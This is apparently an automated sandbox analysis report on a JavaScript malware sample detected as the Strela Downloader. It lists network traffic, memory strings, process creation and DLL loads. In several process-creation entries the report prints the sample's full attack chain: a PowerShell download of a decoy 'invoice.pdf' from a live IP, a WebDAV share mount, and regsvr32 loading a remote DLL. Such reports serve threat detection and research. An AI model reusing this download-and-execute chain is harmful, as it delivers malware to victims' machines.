30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1252960876.00000192712E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1314153824.0000015B6405A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1314153824.0000015B64030000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1314153824.0000015B64008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1314153824.0000015B64030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_O$
Source: net.exe, 0000000C.00000002.1314153824.0000015B64008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 0000000E.00000002.2549856039.000002AB2F200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1315412399.000002AB2F080000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2408, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 19048239772762424923.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5992:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4cqeaqs0.ohp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1796,i,7737325079368609932,1276882422603953264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1796,i,7737325079368609932,1276882422603953264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
